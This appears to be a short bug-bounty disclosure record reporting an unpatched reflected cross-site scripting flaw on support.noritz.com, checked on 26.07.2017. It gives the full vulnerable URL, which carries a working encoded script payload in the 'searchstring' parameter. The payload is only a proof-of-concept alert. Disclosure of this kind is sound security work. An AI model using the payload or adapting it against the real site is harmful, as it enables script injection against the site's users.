support.noritz.com XSS vulnerability

Vulnerable URL: http://support.noritz.com/technical-literature.php?searchstring=%22%3E%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3C/script%3E%3Cinput%20type=%22text%22%20value=%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS...